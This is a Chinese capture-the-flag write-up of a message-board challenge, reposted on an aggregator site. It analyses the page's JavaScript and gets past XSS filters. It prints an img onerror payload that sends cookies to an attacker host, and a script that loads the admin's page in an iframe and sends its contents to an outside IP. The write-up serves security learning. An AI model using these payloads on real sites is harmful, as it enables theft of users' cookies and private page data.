writeup | 应该不是 XSS

Posted 安恒网络空间安全讲武堂

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了writeup | 应该不是 XSS相关的知识,希望对你有一定的参考价值。



0x01 初步分析阶段

首先拿到题目,看到留言板,第一反应就是XSS。


但是看过题目提示后,有些不确定。


所以开始分析整道题目。


首先,观察network页面,查看主页面的响应。

发现是通过js进行子页面的渲染。类似于iframe。


一共有四个js文件,前两个明显是jQuery的库文件,不用管它,开始分析main.js与app.js

writeup | 应该不是 XSS

main.js很明显是渲染页面代码。

writeup | 应该不是 XSS

通过代码可以发现,当我们构造http://192.168.5.28/#login即可访问其他页面。大家常见的应该是通过php后端渲染这些,通过include去实现在当前模板下渲染页面。此时是通过前端渲染的。


在第七行可以看到一共有4个页面,即有以下页面

http://192.168.5.28/#login
http://192.168.5.28/#feedback
http://192.168.5.28/#main
http://192.168.5.28/#chgpass

然后再进行app.js的分析


可以明显看出是一个功能的控制,可以分析出有以下功能

登录:'./api.php?action=login&' + Math.random()
发送留言: './api.php?action=savepost&' + Math.random()
修改密码:'./api.php?action=chgpass&' + Math.random()
获取所有留言:'./api.php?action=getpost&' + Math.random()



0x02 进一步分析(XSS)

首先,依次访问以上页面,发现chgpass和main是需要登陆后才能访问。


而且main页面下有flag{}字样。


所以判断出,题目要求你以管理员身份登录后,获取到main页面下的flag。

writeup | 应该不是 XSS


在登录页面尝试弱口令登录后,无果。于是又把思路转向了xss。


想着可不可以拿到管理员cookie。经过尝试后,发现他做了一些xss的防范

  1. 将script标签中间强行加入空格

  2. 在<与s之间强行加入空格

  3. 标题处有转义,无法xss

  4. 限制字符长度300

于是构造payload如下

<img src='1' onerror="window.location.href='<http://youhost/?'+document.cookie";>

本地测试成功,然后发送,发现获取cookie为空,即服务器端可能做了HttpOnly的限制。


所以此方法失败!!


然后尝试其他思路,想到了国赛的一道题目guestbook,已经xman排位赛的xss2。

通过构造js,来让管理员直接访问main页面,然后将其源码拖下来。


首先通过js引入一个iframe,来访问main页面,然后通过js拿到iframe的源码,发送回来。


此时遇到了一个问题,即iframe加载不完全,所以自己又添加了一个定时器。


最终代码如下

var iframe = document.createElement("iframe");
iframe.src = "./#main";
document.body.appendChild(iframe);
iframe.onload = setInterval(function (){
var c = encodeURI(document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerhtml);
 var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//101.200.58.21:2017/?a=" + c);
document.head.appendChild(n0t);
},1000)

由于代码超过了可以发送文本的长度,所以想办法采用其他方式,如外部引入js。


引入这里,自己采用的是在xss平台上面学到的一句话

此时由于存在script,所以得绕过一下,自己采用的是大小写绕过。将其改为下面代码即可。

然后进行多次提交。即可收到打回来的代码。

writeup | 应该不是 XSS

最后进行url解码后即可拿到flag



0x03 总结

题目还是蛮有意思的,主办方给的hint是csrf。


自己想了想,完全可以打源码,拿到管理员token后,然后通过构造csrf去修改管理员密码,然后登陆。


貌似自己的是非预期解法,毕竟登陆页面和修改密码页面都没有用到,而且自己这个也不算csrf。


成功的用xss再次解出一道题。



参考资料

  • HttpOnly

  • XMAN排位赛xss题解

  • 国赛writeup链接-guestbook

  • app.js

  • main.js



点击“阅读原文”,即为作者博客链接


以上是关于writeup | 应该不是 XSS的主要内容,如果未能解决你的问题,请参考以下文章

ctf题目writeup

ISCC 2016 逆向部分 writeup

Blue-whale writeup

10.0.0.55_12-16训练赛部分writeup

WriteUp_easy_sql_堆叠注入_强网杯2019

[极客大挑战 2019]EasySQL——Writeup